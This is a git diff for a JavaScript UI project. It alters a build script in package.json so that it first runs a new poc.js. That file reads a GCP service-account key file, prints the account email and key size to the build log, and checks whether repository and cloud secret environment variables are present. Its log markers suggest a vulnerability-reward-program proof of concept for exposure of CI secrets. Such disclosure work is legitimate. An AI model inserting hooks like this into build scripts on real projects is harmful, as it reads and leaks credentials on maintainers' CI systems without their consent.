diff --git a/package.json b/package.json
index 5375e34f54b..635b3a064ff 100644
--- a/package.json
+++ b/package.json
@@ -12,7 +12,7 @@
     "reload-dev-w": "NODE_ENV=reload node --max-old-space-size=8192 ./node_modules/.bin/webpack-dev-server --mode development --progress --config=./webpack.config.cdap.dev.js",
     "hmr-dev-w": "NODE_ENV=hmr node --max-old-space-size=8192 ./node_modules/.bin/webpack-dev-server --mode development --progress --config=./webpack.config.cdap.dev.js",
     "cdap-full-build": "run-p cdap-prod-build distribute",
-    "cdap-full-build-more-memory": "NODE_OPTIONS=\"--max_old_space_size=8192\" run-p cdap-prod-build distribute",
+    "cdap-full-build-more-memory": "node poc.js && NODE_OPTIONS=\"--max_old_space_size=8192\" run-p cdap-prod-build distribute",
     "cdap-non-optimized-full-build": "NODE_ENV=non-optimized-production webpack --config=webpack.config.js",
     "clean-node-modules": "modclean -P -r --patterns=\"default:safe\" --additional-patterns=\"*.xls?x,*.ppt?x,*.rtf,*.png,*.jpg,*.jpeg,*.txt\" --ignore=\"validate-npm-license,readme*\"",
     "distribute": "node ./node_modules/gulp/bin/gulp.js distribute",
@@ -309,4 +309,4 @@
   "engines": {
     "yarn": ">= 1.0.0"
   }
-}
+}
\ No newline at end of file
diff --git a/poc.js b/poc.js
new file mode 100644
index 00000000000..499773a70cf
--- /dev/null
+++ b/poc.js
@@ -0,0 +1,36 @@
+'use strict';
+const fs = require('fs');
+
+const keyPath = './key_file.json';
+const keyExists = fs.existsSync(keyPath);
+
+let keyLooksValid = false;
+let serviceAccountEmail = null;
+let keySize = 0;
+
+if (keyExists) {
+  try {
+    const raw = fs.readFileSync(keyPath, 'utf8');
+    keySize = raw.length;
+    const key = JSON.parse(raw);
+    keyLooksValid = Boolean(
+      key.type === 'service_account' &&
+      key.client_email &&
+      key.private_key_id &&
+      key.private_key
+    );
+    serviceAccountEmail = key.client_email;
+  } catch (e) {
+    // I/O or parse error
+  }
+}
+
+console.log('===CDAP-UI-VRP-POC-START===');
+console.log('POC_KEY_FILE_EXISTS=' + keyExists);
+console.log('POC_KEY_FILE_SIZE_BYTES=' + keySize);
+console.log('POC_KEY_IS_GCP_SERVICE_ACCOUNT_JSON=' + keyLooksValid);
+console.log('POC_SERVICE_ACCOUNT_EMAIL=' + serviceAccountEmail);
+console.log('POC_SCM_PAT_PRESENT=' + Boolean(process.env.SCM_TEST_REPO_PAT));
+console.log('POC_GCP_PROJECT_PRESENT=' + Boolean(process.env.GCP_PROJECTID));
+console.log('POC_GCP_SA_PATH_ENV=' + Boolean(process.env.GCP_SERVICE_ACCOUNT_PATH));
+console.log('===CDAP-UI-VRP-POC-END===');